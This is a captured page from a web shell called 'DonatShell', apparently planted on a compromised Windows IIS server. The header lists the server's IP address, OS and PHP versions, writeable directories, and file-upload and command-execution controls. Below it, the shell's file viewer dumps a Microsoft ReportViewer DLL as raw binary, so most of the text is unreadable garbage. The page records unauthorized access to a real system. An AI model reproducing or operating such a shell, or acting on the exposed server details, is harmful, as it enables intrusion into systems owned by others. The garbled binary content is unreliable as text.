DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Microsoft Visual Studio 10.0/ReportViewer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Microsoft Visual Studio 10.0/ReportViewer/Microsoft.ReportViewer.WebForms.dll
MZ@	!L!This program cannot be run in DOS mode.

$PEL_M!z N     ]!@ O   \   H.textTy  z  `.rsrc | @@.reloc  @B0 Hf1	0P _+:I \a&QD/X?"@x*4qpZtJ,y@g6m*;
t
'
3WS
([>|,rsG%|'4z($
*($
*{B*0e}Brpo%

(&
,rpo%

(&
-
(}(((o%
,tr7po'
,}6{(,`rIpo%
(&
-Lo}+r[p((
o)
r_prcpo*
(+
%},}1repo%

(&
-}%r{po%

(&
-
(}${$,R(+o%

(&
-
(}${$,)rpo%

(&
-o}#}'rpo%

	-,rpo%

	,	rpo,
,}:	,	rpo,
,};	(9}8{8,	}6+	(8,}7}6rpo%

(&
-
(}&rpo%

(&
-
(	}0rpo%

(&
-~o-
o.
/o/
}*r%po%

(&
-o}-r;po%

(&
-
(}3rWpo%

(&
-
(}5rypo%

(&
-
(}2{2})rpo%

(&
-{)(})rpo%

(&
-(}/rpo%

(&
-({6,"rpo%

(&
-d(	}4rpo%

(&
-(}.rpo%

(&
-{@(}@rApo%

(&
-P{=(0
-	}<+8{>(0
-)}<{6,	,{;-{:,}9{6,){@,!rpo%
(&
,{:,}@{$-}@*0)-*~Ao1
o2

o3
-rYps4
z*0ro,-*:o5
?o5
&o5

3	3*33	.rYps4
z./rYps4
z	.	/rYps4
z*0(6
,**0(7
,**Jreps8
A*0b}$})rcp}+rcp},rp}1d}4}6rp}=rp}>}@($
*r($
}C}D}E*{C*{D*{E*:}T($
*}R}S}T}U}V}X}Y*{V*"}V*{U*"}U*{R*"}R*{S*"}S*{T*"}T*{W*"}W*{X*"}X*{Y*"}Y*&(:
*2((;
*0O	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghrprps<

rpo=
rpo=
rpo=
r-po=
r5po=
rEpo=
r[po=
rqpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=

rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
r!po=
r3po=
rCpo=
rYpo=
rapo=
rmpo=
rypo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
	rpo=

rpo=
r	po=
rpo=
r#po=
r-po=
r=po=
r[po=
ropo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
 r#po=
!r;po=
rMpo=
r[po=
$rkpo=
%rpo=
#rpo=
"rpo=
&rpo=
'rpo=
(rpo=
)rpo=
rpo=
+r5po=
r?po=
~o=
4rGpo=
rKpo=
/rapo=
0rwpo=
rpo=
rpo=
8rpo=
9rpo=
:rpo=
;rpo=
<rpo=
=rpo=
>r
po=
?rpo=
@r%po=
Ar/po=
Br3po=
Cr;po=
FrCpo=
ErOpo=
Gr[po=
Hrepo=
Irqpo=
Jr}po=
Krpo=
Lrpo=
Mrpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
Rr	po=
Sr-	po=
UrE	po=
Wr[	po=
Vrs	po=
Tr	po=
Dr	po=
r	po=
r	po=
r	po=
r	po=
r
po=
r
po=
r'
po=
r/
po=
rI
po=
3rM
po=
rQ
po=
rU
po=
1rg
po=
2ry
po=
r
po=
r
po=
r
po=
r
po=
Or
po=
r
po=
rpo=
r)po=
rGpo=
rcpo=
rpo=
rpo=
rpo=
rpo=
rpo=
r5po=
r[po=
rpo=
rpo=
rpo=
rpo=
r
po=
rC
po=
rg
po=
r
po=
r
po=
r
po=
r
po=
Qrpo=
r%po=
rIpo=
r{po=
rpo=
rpo=
rpo=
rpo=
rpo=
r9po=
repo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
r'po=
rGpo=
rUpo=
ropo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
r1po=
rGpo=
.repo=
Nrupo=
rpo=
rpo=
rpo=
rpo=
rpo=
PrSpo=
]rpo=
^rpo=
Xrpo=
Yrpo=
[r=po=
ZrYpo=
\rpo=
`rpo=
_rpo=
ar#po=
crIpo=
dropo=
erpo=
frpo=
grpo=
hrpo=
rpo=
rpo=
rpo=
rpo=
rpo=
rpo=
r;po=
r_po=
br}po=
*0a}i}z}}($
{*(/}o}p}s>
}qs?
}u{6}z}s}t}r}x{(}|{)}{0}wrpo@
rpo@
repo@
sA

{w}B
{w}C
{}D
}E
{s{@}F
{poG
sH
}(I
{s{1o=
}v{s{2-{|}*0bo<}l{l-s%z{loJ
}m{moK
oL
t?}n({loM
}*6rp(**0a13(N
rp
_(O
*(N
rp_(O
*"}*0		(I
}k{xrp(I
rpoP

ssQ
}}{moR
oS
9{moR
oS
oL
t
	oT
oU
o	oV
{moR
oS
oW
rp(+
(a&o	oV
{moR
oS
oW
(a&	oX
,#+s(1Xi2{moR
oS
oY
{moR
oZ
9{moR
oZ
oL
toT
		oU

o	

oV
{moR
oZ

oW
rp(+
(a&o	

oV
{moR
oZ

oW
(a&oX
,#+s(1Xi2{moR
oZ
oY
{moK
oL
t?

oT
oU

oV
{moK
oW
(a&
oX
,*i1#+s(1Xi2{moK
oY
{}o[
*0	

oL
oT
oU

	oV
	oW
o\
o]
uX9<	tNo o^
,n{qr	p(+
o_
-Uo`
-	oa
,oo`
-oa
,o!	r	p(+
(a&o{s{6-({s{<.{s{3-
,s,o!oa
,L{qr
p(+
o_
-3o	r
p(+
(a&o`
-o!o^
,"ob
-(8-oc
,o!o{qo_
-X			(a&o!		rp(+
	(a&	rp(+
(a&uD
{qrp(+
o_
-A
od
(,2s	oV
rp(+
(b&	oV
oob
:uXs
soe
8
ooT
oU
oW

o
oT
oU
oV
(b&
o
oT
oU
oV
rp(+
(b&
o
oT
oU
oV
r	p(+
(b&of
+5oT
oU
oV
oT
oU
oW
(b&of
-oe
:
*{qo_
-	(a&u`,3t`oX
,"i1oT
oU
oW
&oL
uM,OotMoX
9i>+(1Xi28uI9tIog
o88oh
oi
oT
oU
oV
9MoW
ub:${qrp(+
o_
:ooj
oj
ok
Xol
iom
om
on
Xoo
i(4
tX o! ,+(,"{s{6,{s{<3orp(+
(a&rp(+
(a&rp(+
(a&o!oouM,[sp
""oj
ok
oq
or
"om
on
os
ot
"uoY
"(18{qo_
:uX,XoT
o\
o]
#oT
oU
tN$#,#s,$o`
+%$o^
-%,ooT
oU
oW
(a&oou
Xov
?iog
:QoY
*0o%-o-+
~oS,Urp(+
oro%,
o%ow
o-,
o-ow
o/,
o/ow
~
oS~oS9o(~oSo%,6r%p(+
oro%ow
o/,
o/ow
~2oS~oSr)poQ~oS~oS~oSox

87~oSoy
,no%,er%p(z
oro%ow
ol
iY.
oy
X-	o+o/,o/ow
~2oS~oSol
(^~oS~oS~oSol
(^~oS~oS+(o{
o|
	(Xox
2~oSXol
i?~oS*0~oSo%,@r-p(z

oro%ow
,o/,
o/ow
~2oS~oS(^~oS~oS~oS*0-
1%,_`
,_`
,_`
,_`
*01
1)3_`
3_`
3_`
3_`
*0
{,o}
*
{xo~
r1pr9poP

o
j2{lo
o
+Wo
,O o
jo
o
o
i+$o
i(
o

	o
	Y0~
*{y*f{|,{s{'**2{s{6*0
,

oX
-R*0Do[{,{oS~oS{voSoQ~oS*0{po
&*F(8-o
**F(8-o^
**0{s{<.
{s{6,~(oS~oS~oS%{X%}(R~oSo

o+~oS{z,~oS~oS~oSo@~oS~oS*0So,3{orMpo7oS*3{orepo7oS*{orpo7oS*0rpoQ{s{#oQrpoQoQrpoQoQrpoQrpoQ~+oS{s{#oQrpoQoQrpoQoQrpoQ*0
##
,o
o
o
_-+o]
t,s
`
	o
X
_-+o]
t,s
`
	o
X
_-+o]
t,s
`
o
X_-+o]
t		,	s
`
o
X,
	s*0{,*{o
1oU
oW
{o
o
+
,{o
&uoU
uo

	-o

o
-o
	--**0	~
}{po
-{w+}i{po
{moR
o
oH}{l8{moR
oS
{moR
oZ

-		+s{noT
uoU
u9~oS~oS,}}(}~oSo{noW
rp(+
(o~oS}}{n{moK
(,@~oS~oS	,}}	(}~oSoP{w:{po
:{l,{lo
o<oJ
}m{moK
oL
t?}n}l~aoS{po
{moR
o
oH
++:{l,{lo
*0R~oS~0oS{w-,oI+(Kr#poQ(L,r?por{i,{s{$,
{s{(+
,oF{,y~oS~oS(K{s{6,!~oS~oS~oS~oS~oS~oS(J(L~oS~oS~oS~oS,rUpor(,oG~oS*0l~2oSoE{s{6,!~oS~oS~oS~oS~oSr#poQ~oS*0
{,(K(O(j(L*o
o
9o
>(Lr	p
{q	o
t-c{k	o=
{q	o
{,?{j{}}j	(;(O(j~oS}joN,)o
1 (K
(j(O(L*n{-}~2oS*z{,,~oS}*0M{s{+o
0-/~1oS{s{+(YoS~oS*oS*~1oS{voSoS,~oS*0"o

,~oS(R~oS!o

,-~oStWoq~oS~oS#o

,)v(A
~oS(R~oS*0'{s{&,~oS~oS8~oS~oS~oS~oS~oS~oSr)poQ~oS~oS~oS~oS{s{8,
~oS+r)poQ~oS~oS~oS~oS~oS~oS{,~oS~oS*0+o

-*{ko=
{jio
*B,o)
oQ*F{jio
*"oQ*"oS*6(
oQ*f{k(
o=
oX*joSoS~oS*6(
oQ*6(
oQ**rmp(N
(
oQ~oS*rmp(N
(
oQ~(U*brmp(N
(
oQ*0*{j
}j(s,(R}j*0],,o
-*o

o
&+3o
\.o
".o
'3\o
&X
X
o
2*0	u{j
{}}j(;oo(o~oS}j{ko=
{qo
*0q,-*{j
{}}j(;oooo~oS}j{ko=
{qo
*B(d(f*z~oS(\~oS*z~oS(\~oS*~oS(\~oS,(g*z~oS(\~oS*0@(
-1(
-$(
-(
-
(
*0%
o~
,{oo2
,oQ*.(k*0,(l,J3*

o

o
o
J--(:,u-
(J_-_-(,%J`TJ_-_-(,%J`TJ_-_-(,%J`TJ_-2_--(, %J`T*,u,T(*0-*o

,~oS(R~oSo

,~oS(R~oSo

,~oS(R~oSo

,~oS(R~oS*0-*
o

+`	o
Yo

.
33(VX+%o1
(&
-(V~(UXX
	X
	2-(V*Yo
(V*-*o
".o
".**0
o
oL

	oT
uoU
uu^,t_o
3,<~oS(Ko
(fo
(d(L~oSoL
(C	s(&,~oSoY
*0Q~oS{z,~oS~oSo,{orspo7oS~oS*0&(
,{oo2,oQ*z~oS(s~oS*f{s{+(YoQ*0g

od
o\
o>o=	ob


-+-+(
o
oV
(,
{s{6+o 
,(o

(&
,o

(&
,
--o
-	o\
(o\
(9o~oS(~oS~oS{s{8,~oS(Ko
o
{s{9,(f(goa
-(do89~oS(Ko\
({s{9,.oa
-&(do\
o(korpoQ{s{<3o
(d(L,M{s{$,@{-({o
rp(+
(_o
rp(+
or~oSo]
o`
90~oS((K,6{s{9,(foa
-(d+o
(f
, (&
-
o1
(&
,~oS(L~oS~oS(K{s{9,oa
-(f+o
(f(goa
-C{s{9-{s{7,{s{<.-(d+
o
(do,;ooW
r	p(+
(oooa
9--,
,-9,5o -,s(<~oS(R~oS(L~(U,G~oS~oS~oS~oS~oS~oS8~oS:uo!8h~oSo!{s{6,+{s{<.,	s-{s{391-wooooa
,ooW
rp(+
(ooa
,o+o~(Uo!9s9~oS,,!~oS~oS~oSoa
-!~oS~oS~oS~oS~oS~oS+
~oS
,G(K{s{9,oa
-(f+o
(f(g~oSoa
,joooW
r
p(+
((L~(U~oSo!oo,+oW
r	p(+
(o9o!(L~(U~oS~oS(o~oS~oS,rpoQ,
+,
+(ooW
(u((Lo!--,o
or(v- o]
t(~(U{s{6,({s{<@{s{9::
9(&
-~o1
(&
-q~oS,W(Ko\
(k,
-
"ݠ@Y"6~oS(\~oS(L~oS,
,o- (9o
 o\
 oW
rp(+
(	9~oS(K"!,	o
!!"6>o\
(k!{s{6,{s{<3
!(d+!(e~.oS~oS(L~oS-+ (	,,~oS~oS{s{6,{s{<35{s{9-(-$
, (&
-o1
(&
-~oS,4,
+,
+(~oS~oS,/{s{8,~oS~oS~oS*o`
,Foa
,&,~oS~oS+~oS~oS~(U+2,~oS~oS	,~(U~(U,~oS*0\o
3P,o
,
o
-;o\
o]

,*r-"(,
rp(+
*rp(+
**0/u
oU
uo
-o
,(w*f~(W~(W*0
YE+!rpoQ}
+rpoQ{s{$,6{-({rp(+
(_rp(+
orr%pYo)
rp(
oQ,BrCp(
rp(z
oQrap(
rp(z
oQ(K~oS,
rpoQ+(
(R~oS~oS~oS,
rpoQ+(
(R~oS~oS~oS~oS{s{<3~coS*0(K~foS(
1r_poQ(
(R~oS~oS~goS(
1r_poQ(
(R~oS~oS~doS(L*0C(8,*~oS~oS{s{+(YoQ~oS*0 o

s1ol
-o
oo
-o
((
o
-(o
- {s{5-{s{<+,	,s
o0~oS,
ol
i+
ol
iX~oS(N
(
oQ~oS--	,oroT
(v~oS(K~oS~oS{s{3,,o
(foW
((L~oSo
og
s
+tJo
og
,	uJ-,(2J(}8sol
	oo

	i
i(2
s
{s{59o
s8luJ,tJo
og
8H
"3^1Yov
3Ooh
oi
u,;oh
oi
toX
,oX
i-og
X8~oSo
-	-
,irp(z
oro
,$o-ow
o/,o/ow
+
,o"
	,
o%ow
~oS~oS~oS~oS
o
(3ov
o
@ox
8oh
oj
ok
J(9o
<u\9t\o
-*oi
,!oi
oT
o
t\o
,X+>oj
X-+rp(
oj
XXok
2ou
X?s
89o
8 ,!{1"%{Y}+fs  Xoh
! !oy
!oj
o
X{s{5(} !on
}XXi?Z,4ox
1*"+"o{
(|"X""ox
2o|
#>S$o
%o
&%'&()+P(oh
**ok
+)+J*#$()+X)(ou
(X((/)2&%0+&'2X+P'oh
,,ok
-	)-J,#$()-X)'ou
'X''2(&%2+%.+J.oh
//oj
/ok
J/#$(.ou
.X..2+e01+V1oh
22oj
3oy
332ok
J2#0(1ou
1X112~oSog
X:~oS-	, {-s
}{o
&*0!
o|
+X
o
/o
o
,o
<o
oj
~oS~
oS~oS~oS~oS(N
(
oQ~oS~oS~oS8o
o
9~oSo
oj

	Y1I~oS(N
(
oQ~oS~oS~oS~oSo
ok
1(~oS(N
(
oQ~oSo
o
or~oS~oS	XX
o
?/N~oS~oSY(N
(
oQ~oS~oS~oS~oS*0"
soo
ol
i
io-8o|
	3Mo
	o

o
iX1Xo
+	,	,+
,,+,@!"3X1Tov
3Koh
oi
u,8oh
oi
toX
,oX
i-og
X
8~oSo
-
o%-,rrp(z


oro
,'o-
ow
o/, o/
ow
+,
o"o%,o%
ow
~oS~oS~oS~oSov
Yoh
ou
,oi
(+	(~+8oh
ok
(ou
XY212oh
ok
(ou
,3~oSog
X
:p*0#oj

ok
X~oS
(1(~oS(N
(
oQ~oS(K~oS(^~oSoi

	,H~oS
	(	(
	(+)(L~oS	(~(oS~oS*0
$	oT

oU
	uXo
o	ub:no
(4T9(
{s{3,sp

	oj
ok
oq
or
oT
uDoU
uNob
,3o
(&
,%o
(&
,o=-
o>+oo
oW
rp(+
(uoo\
(,9{s{6,,o`
-{s{<3{s{9-o	o
oV
	
(o+	
oW
rp(+
(o(Lo,
,
,(v~oS*0G%	oT

oU
	uX-+oT
uD
-+oU
uNsp
o
oo9	od
(9	o\
o
oW
rp(+
(~oS(Kom
on
os
ot
	o\
(kot
{s{<3{s{6,o
(d+
o
(e~oS~.oS~oS(L~oS~(oS9~oS~oS8o	(C,Looj
ok
oq
or
om
on
os
ot
	(+ioj
ok
oq
or
om
on
os
ot
	u-	u`-		ub,o	
J(&o*0
&	oT

oU
sp
ol
or
om
on
os
ot
o
o
3~oS~oS	u,$	t(3H~oS*
(		(C(&o3~oS*06'oX

o
o
o
o
o\
(&*0(s
oj
~oS(1(~oS(N
(
oQ~oSoi
,=
	
(	(	
(+#~oS~(oS	(~oS*0t)oy
,hrprp(

oro%ow
o/,o
,
o/ow
*0y*-*
o

+Qo

.
3-(X+(~(UXX
X	2(*0+{o
+HJo
Yo

(Vo

(X%JXT%{X}Jo
/
Jo
20Yo

(V*0~oS~oS{s{+(Y~oQ|(N
(
oQ1rI
poQ(N
(
oQ~oS{-'{s{7,
rpoQ+rpoQ+~oS(V~oS*0+,
u_,t_
u],,
o
**0-
o
o

so
-/~oS~oS~oS~oS~oSo
o
		(


9.
.3Fo-
+ooW
(~oS~oS	o
(xoW
(	(
	(
+0o-
+ooW
(~oS	(,o\
	o
(~oS{z,~oS-,o
oro
,Po
i1E~8oSr_poQ~CoSo
oQ~oS~oS+,~oS3:oT
o\
(B
-{s{<+(+3
-{,(+(
,	(y(v~oSoq~(U,~oSo
,1o
i1&o
o
lo
lo
(
,.
.3~oS~(U,~(U~(U*0.
-*,o
ouX,eo,-oT
uDoT
oU
uN(82oT
uDoT
oU
uN(t8uI,tI({8u, tMt(8u-u,tL(8u`,t`(+nu],Eo,t]t^t_(+At]t^t_(+!ub,tbtc(*0/o,,Co~oSoW
(,o
or~(UoX

i17oL
tMoT
oU

}	s(o,,~(U*0R0(
((f{s{6,#{s{<3{s{:-(e*(d*01oX

u,o
,{o
o
{
o
,i+,
o,*o,9{s{3-{z-~oS~oS+Y~oS{s{6,A{s{$,4{-(
-o
rcp(+
{~(_	,or{,'}o,(Ko\
(o-2o,(Ko\
(oW
((L(v~(U{s{3-{z-i~oS(K,,o
o
(c~oSrkpoQ+~oS~oS(L~oS-U{&ooo
o
o
o
Jo\
(,o,~(oSo,,8{s{3-{z-~oS~oS+~(U{o
1/,,o
,$o
{o
o
,{o
&*02~oS(
o
,&~oSo
(Y~oS
+	oso
o
({s{-,'~oS{s{-oQ~oS~oS*033o

-d+
o
td(*0
!4
od
o
oV

o\
o>o=ob
(	(

,
{s{6+9o`
9~oS(Ko\
(rpoQ(L({s{<3Z{s{9-M{s{$,@{-({o
rp(+
(_o
rp(+
or~(U~oS(~(U~oS+~oS+~oS--,o
or,+-+
o`
:{z,{s{<.,>,:o((K(d~oS~oS+o
-*o]
,s,o`
+

9(Lo~(U~oS~oS,-,~~(M+~~(M(~oS~oS-,-
,rpoQ,	+,	+(	oW
((v~(U,,o-(,+o
,oW
rp(+
(ob
,o
(&
,o
-+(,~oS
,4,	+,	+(~oS~oS,6o`
,"~(U~(U~(U*~oS*~(U*0M5o
"3*oL
t
s~oS~oS~oSooT
oT
oU
oT
oU
oW
rp(+
(o~oS~oS{s{6-o(~(UoX

	,H	i1B}	""{moK
o
o
oT
o\
(&+~(oS}~(U~oS~oS*0'6-*
o99o:o

,2o -)s(<
~oS(R~oSo

,Er,+r(;
~oS(R~oS+uDo\
((o-o(j(O,f{s{3,Yo
uX-
(,0o-'o\
({s{9,(g+(g(f*uX,,~oS~oS~oS~oSo9
uM(:&,%o,	-u-u+++9uX9tN~oSo,{s{<3
~oS+~oS~oSo`
,
~oS+,~oS~oS~oS~oS~oS8uI:(8uX9o
o
o-Do-;o\
({s{9,o\
((g+(gtN		o`
,	oa
,(f8~oS~oS(f(d8uI:u:o

o
o-N(,Do-;o\
({s{9,o\
(
(g+(gu,2{s{6,{s{<3{s{:-

(e+
(d(f	-u],~oS~oSo-9o-0oo,
{s{9+(k(Oo,*o:o

,)p(8
~oS(R~oSo

,"~oSo)
(Y~oSo

,~oS(R~oS+auN
o
oV
,,o
++,.
,*
ob
-!~oS~oS~oSo

,)q(9
~oS(R~oSo

,)d(:
~oS(R~oSo

,)t(?
~oS(R~oSo

,~oS(R~oSo

,~oS(R~oS(o

,2o -)s(<
~oS(R~oSo

,Br,(~oSr(;oQ~oS*uDo\
(*07(n,-,o
(z{s{<@(*o
"
~oS,o
oro\

o]
,3(K,
~oS+~oS(R~oSo\
o]
,(K~oS(R((L~oS~oS*08


,=
o

o


o


o

o

o
,i-@	,:+*	o
o
,	o
o
(zX	o
2*	"	(
	-*	o
9{9:{,
	o
@	,:
+*	
o
o
,	
o
o
(z
X

	o
2+31X	o
(5	o
(oX	o
Y21X	o
(5	o
(o*}
	o
-		o
,@z~oS~oS,X{s{8-(~oS(N
(
oQ~oS({,8(K~oS,_~oS~oS~oS+<(,'~oS{s{+(Y~oS~oS{,@{,
~oS+(K~oS(^~oS}{s{3-
{s{7,|{,
~oS+(K~oS"61	(("4"?(R~oS(L~oS	o
>	o


9~oS~
oS~oS,M~oS~2oS~oSr)poQ~oS~oS~oS
8~oS~2oS~oS	o
o
o
"6q-	(	o
Y3("58{s{<3#{s{6,	o
o
o
+"?(^~oS~oS~oS(^~oS~oS~oSX
	o
?~oS	
	
(&,3S,D~oS(~oS(N
(
oQ~oS~oS~(U*0L{s{4d.<~2oSrspoQ{s|4(N
(
oQrpoQ*N{s{(*&(*0t~(~o"~o"~o"~o"~o"~o"~(~o"~o"~o"~o"~o"~o"~o"~o"~(~o"~o"~o"~(~o"~o"~o"~(~o"~o"~o"~(~o"~o"~o"~(~o"~o"~o"~(~o"~o"~o"~(~o"~o"~(~o"~o"~o"~o"~(~o"~o"~o"~o"~o"~(rpo#~o"~(r"po#~o"~(~o"~o"~o"~(~o"rpo#~o"(?o#~o"~(~o"~o"~o"~o"~o"~o"~(~o"~o"~o"~o"~o"~o"rpo#~o"~(~o"~o"~o"rpo#~o",o"rpo#
{7,rp
+{8,rp
(&
-o#rpo#rpo#*,o"~o"{+o#o"~o"*0>9{moR
o

"o]
t-!o]
-
(h+}*0:

-	

+/3

	+!3	
+3	
+
o
,Lu,Co
t,1s
(
#6o
t(
,
	*3~oS3~oS-~oS*3~oS3~oS-~oS*3~oS3~oS-~oS*3~oS3~oS-~oS*3~oS3~oS-~oS*0Q-*-	(+.3	(+!3	(+3	(+((R~oS*0---*999u(@
-
~oS+A3
~oS+/3
~oS+3
~oS+~oS(R~oSoQ~oS(R~oS*(,u(@((*0;
YE+#
	+
+
+
,
o
QP-QP,Pu-*o

	-Q+	Qo
-Q+QP-	-	**0	*<
(
	,(	*0w
o
-ho
-^o
-Uo
-L
o
-Bo
-9o
-0o
-&o
-o
-o
-
	o
,
*0=o
-*o
,{uo
o
,o
*{-X{xo
~
o
oP

o
j2{lo
+o
,o
o
io
o
,{uo
o
o
*0:>--*o

,s(9{s{69~2oS~oSE+%~oS+~oS+~oS~oS~oS,(?,o-~oS~oS~oS*~2oS~oS(<oQ~oS~oS,(?,o-~oS~oS*0
>--*o

,s~oS(9{s{6,t~oS~oS~2oS~oSE+%~oS+~oS+~oS~oS+8~oS~2oS~oS(<oQ~oS~oS,(?,o-*~oS((&~oS*03~oS%{X%
}(R~oS*o
-o
-o
-
o
**r,o
,o
(**0
o
,&~oSo
(Y~oS
+	o.'(K~oS~oS~oS,(K~oSoQ(L{s{-,'~oS{s{-oQ~oS*0D?s

o
,o
(`rFp+o
(`r`po)
(A*0o

,
h**0o

,
g**0N~2oS~oS~oS~oS~oS~oS~oS*0d~2oS~oS~oS~oS~oS~oS~oS~oS~oS*0G{s{+o
1(~1oS{s{+(Y~oS*~VoS*F~~R(M*F~~S(M*F~~U(M*(&
,*~NoS(Y~oS*6{(*02
+!o
,o$s
o.*X
oo
i2*03
+"oy
,o$s
o&*X
ol
i2*06@{-rrpoQ}~]oS~2oS~oSo,.~oS~oS~oS~oS+.o
(\~oS~oSo
(\~oS~^oSoT
oU
tco
,
~`oS+~_oSoT
o\

o
t
o
t,k,hs
(

(
 _~XoSr_poQ(
oQ~oS~YoSoQ~oSrpo
,Ou(@r%p(
-	r3p+r=p(
-rKprSp(
-rap~[oSoQ,~oS~ZoSoQ~oS~oS~\(U*0A
s
{,
~oS+(K~OoSo

,&~oS~oS((o

,&~oS~oS((o

,&~oS~oS((o

,&~oS~oS((*06BoT

o
o_
-(C,o
ow
o
*0	)	C

	s>

o
o


9
o

o

o

o

	o


o

o

o


o

o
8PZo
o
~oS-!~oS~oS~oS~oS
8X99~oS-=&~2oS{s{3,,+!Xo
		o
-+X29~oSo
o
"6m-(o
Y3("52{s{<3{s{6,o
o
+"?(^~oS~oS~oS"(^~oS~oS+7~2oS~oS"(^~oS~oS~oS	,:+*	o
o
,	o
o
(zX	o
2~oSo
		o
:	o
-	(~oS	o
.(~oS(N
(
oQ~oS,
-
.34	o

	.(~oS(N
(
oQ~oS9:-=o
o
"D9Y3,9{s{3,	o
9(K~oS-(o
Y3("52{s{<3{s{6,o
o
+"?(^~oS{s{3-9:.:" !+ !Xo
o
o
X !X!!	2 "{,
~oS+(K~oS""6c-"("o
	Y3"("""5({s{<3{s{6, "+"?""(^~oS~oS~oS"(^~oS9	o
:{s{39	o
o
##"3DA~oS~oS#"6m-#(#o
Y3#(##"52{s{<3{s{6,	o
o
#+"?##(^~oS~oS$	o	
,	
(${,(L~oS+~oS,B->	,:%+*	%o
o
,	%o
o
(z%X%%	o
2$,/$o

1%&+$&o
(z&X&&$o

2	o
9B	o
YX''X3	o
,'X'	o
YX((X3	o

,(X(XX'((5

_1i	o
,`	o
o
)	o
o
*++'*+o
ZXo
o
o
X*+X++	o
2)*4
_

_1b	o
,Y	o
o
,	o
o
-.+ -.Xo
o
o
X-.X..	o
2,-4
_
	
(o+{z-	o	
,op~oSX
?-~oSYX?*0DX
Xo
-o-k+e%X
o
o
-Uo
-Mo
o
3>o
o
3/o
-'o
%o
Xo
o
o
2
XZX
Z8No
o
:@o
:4o
o
@!o
o
@o
:o
3o
-o
9+f	Xo
Xo
		o
-P	o
-G	o
->	o
o
3.	o
-%	o
o
3	Xo
2o
3^%o
Xo
o
o
+Xo


o
Xo
2
XZX
?*0U~oS33
~oS+)~oS+3
~oS+~oS~oS*0Eo

,7h(
(
(=
~oS(R~oSo

9g(
~oS(
3
~oS+~oS~oS{s{69(
@9uX9tN
o
o
o\
({s{9,o\
(	o`
,(f+'~oS~oS(f(d(g(
,(
,(
(
(*(
-	(
,b,^(
-oV
o

g(
+$(
-oV
o

h(
(
(
(*0%FoT

oU
soW
(*0"FoT

oU
oW
(*0	G{,H(Ks

(o,~oS~oS(L*J,o
+,Do
1:o
,o(K((L	o9{q	o
t-@{,	(a+{k	o=
{q	o
(LoNoJ-9J3,~oS{s{+oQ~oS8J_-_,'~oS{s{+oQ~oSJ_-_,'~oS{s{+oQ~oSJ_-_,'~oS{s{+oQ~oSJ_-_,'~oS{s{+oQ~oSo,'~oS{s{+oQ~oS~oSo-(%J`T*0	H
o

o
o

J--(:J_-_-(,%J`TJ_-_-(,%J`TJ_-_-(,%J`TJ_-._-)(,%J`T*,u,T*0
o
oV
(*0C~oS~oS~oS~oS~oS~oS*0OI-*~oS(
(,-+
,
~oS+~oS~oS*0Jo

(*0FK
YE
+
*J,
u**09L

-
,)(-	(,us
o
kY*0`M-"*o

"o
,us

	o
kXo
,us
o
kXY*0qN-"*(
o

o
o

o
	(
o

o
	(
"5"?
*0-Oo

{s{<.
{s{6-	(
*0-Oo

{s{<.
{s{6-	(
*0`M-"*o

"o
,us

	o
kXo
,us
o
kXY*0rN-"*(
o

o

o

o
	(
o

	o
	(
"5"?
*0Pob
9
(&
-^,Zo\
o]
,Id,Ad(:
~oS~2oS~oS(R~oS,o=-}~(oS+p
{(&
-Y{o
+	-s

	o
X{o
%3	-
(m+	(+(m9~oS*~oSo\
({s{6,:(K#	{s{6,~oS~oS#	,
(l	o^
,#(8-o\
(-	#@Y		#6~oS	k(\~oS(L(,<(K~oSrspoQ(L~1oS~oS,*-~1oS+~oS~oS,~oS~oSs
so
,o
-o
,ooe

8
oT
u#oU
u$o
(
-	o 
+(!
o"
(#
-	o$
+(%
o
,5-	o 
-	o$
oW
o-	oV

ooo>-sX{s{6,%,!{s{<3{s{9++oT9{s{<.
{s{9,~oS~oS~FoSorp(+
(~oS~Eor	p(+
+,
oV~oS(~oSo&
-	o'
",
o
k"6Z~oS(K(f~oS(L~oS{s{8,~(oS~oS

(~oS,.oS{s{<.
{s{9,~oSoe


:<,oV~oS*0^Q
{(&
:of
s(

s
+E	o)
oT
u%o*
(&
,o
u&o+
o
&of
-o)
{o,
s-
	
{o

8	
o.
oT
u%o*
(&
,o
u&o+
(&
,&8	Yo
{Xo
1	o
X2o
0
1m
(X

1
o
Y

/
o
1Do
Yo
o/
o
X/o
YY
+(X
	o
X	
X

	o0
?+&of
+(X
of
--a,^oT
u%oU
~oSoW
o
oV
(~oS~(oS~oS*0hRoT
u%
oU
u&
o*
o1
,0oV
oW

(&
,o+
(&
,o2
(&
,*~-o3
(,o3
o
,%~oS((&~+~oS,(w	o
(~oS	o

1L
1
1:o
%J%XT(X2%{X}To
Y
{o
o
1&o
Yo
		X
1
+o
+Uo
		/	Yo
(m	o
(%{X}T	XX2
,Lo
Yo
		/	Yo
(m	
	Yo
%J%XT(+
/o4
(moS
*0!SoT
u%
oU
u&
o*
o1
,0oV
oW

(&
,o+
(&
,o2
(&
,*~- o3
(,o3
o
,%~oS((&~+~oS,(w	o
(o\
 o]
u(~oS(moSo
*0T,	o
0
o+
{-, -(Ks
o(L*,o
+-
o,(Ko(L99{qo
t-s{,Q{j
{}}j(;o~oS	}j{ko=
{qo
+{ko=
{qo
(LoN*0U{s{$9}y#
#,o
o
o-{z-j~oS{s{7-
{s{8,/j,)o
l
o
l	4o
l
	(\j/j(N
(5
oQ~oS~oS,,~oSrpoQ~oS~oS*0V
o
o

o
.
.3^
